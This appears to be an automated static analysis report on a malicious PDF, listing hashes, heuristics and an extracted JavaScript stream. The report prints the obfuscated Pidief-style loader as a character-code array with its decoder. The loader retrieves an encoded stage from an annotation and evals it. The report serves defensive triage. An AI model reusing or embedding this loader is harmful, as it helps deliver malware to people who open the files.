Malicious PDF — malware analysis report

Static analysis result for SHA-256 338598de8777cd15…

MALICIOUS

PDF

12.9 KB First seen: 2026-05-09
MD5: f3046701a34097f0c4316bb618e4556c SHA-1: 0ee8d545b82a18170783d69298a19392105b2308 SHA-256: 338598de8777cd151b0ddc1a5d7ed4dffcf5f5183036dbcb212a6b63367d6019
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged by a machine learning classifier as highly malicious. Static analysis revealed embedded JavaScript, which is further indicated by the 'PDF_JAVASCRIPT' and 'PDF_JS' heuristics. The JavaScript stream is obfuscated using String.fromCharCode, a common technique to evade detection. The primary function of this script appears to be downloading and executing a second-stage payload, as suggested by the 'ML_NYX_PDF_MALICIOUS' heuristic and the presence of obfuscated JavaScript. The extracted artifact 'javascript_obj0005_000.js' is also a strong indicator of malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 5

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a large numeric character-code array feeding an auto-run script) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
            for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0005_000.js pdf-javascript-stream PDF /JS object 5 at offset 0x107 1418 bytes
SHA-256: d2233358777d1aaed8efae57eefbdc7f0ddc83b20eb36c734bc8ee388da7c061
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
sourceCode = "118,97,114,32,122,59,32,118,97,114,32,121,59,32,10,32,118,97,114,32,104,32,61,32,39,101,100,118,111,97,122,99,108,39,59,32,10,9,32,32,122,32,61,32,121,32,61,32,97,112,112,91,104,46,114,101,112,108,97,99,101,40,47,91,97,118,105,101,122,106,108,93,47,103,44,32,39,39,41,93,59,32,10,9,32,118,97,114,32,116,109,112,32,61,32,39,115,121,110,99,65,69,69,111,116,83,99,97,110,39,59,32,121,32,61,32,48,59,32,9,32,122,91,116,109,112,46,114,101,112,108,97,99,101,40,47,69,47,103,44,32,39,110,39,41,93,40,41,59,32,121,32,61,32,122,59,32,118,97,114,32,112,32,61,32,121,46,103,101,116,65,110,110,111,116,115,32,40,32,123,32,32,110,80,97,103,101,58,32,48,32,125,41,32,59,32,32,32,118,97,114,32,115,32,61,32,112,91,48,93,59,32,115,32,61,32,115,91,39,115,117,98,39,32,43,32,39,106,101,99,116,39,93,59,32,118,97,114,32,32,108,32,61,32,32,32,115,46,114,101,112,108,97,99,101,40,47,91,122,104,121,103,93,47,103,44,32,39,37,39,41,32,32,59,32,115,32,61,32,32,117,110,101,115,99,97,112,101,32,40,32,108,32,32,41,32,59,97,112,112,91,104,46,114,101,112,108,97,99,101,40,47,91,99,122,111,109,100,113,115,93,47,103,44,32,39,39,41,93,40,32,115,41,59,10,32,115,32,61,32,32,39,39,59,32,122,32,32,61,32,49,59"; 
function decrypt(str, jump){
var result = "";
var list = str.split(',');
        for (var i=0; i < list.length; i++) {
            result +=  String.fromCharCode(list[i] - jump);
        }
        return result;
        }

Open this report in the interactive analyzer, or submit your own file for analysis.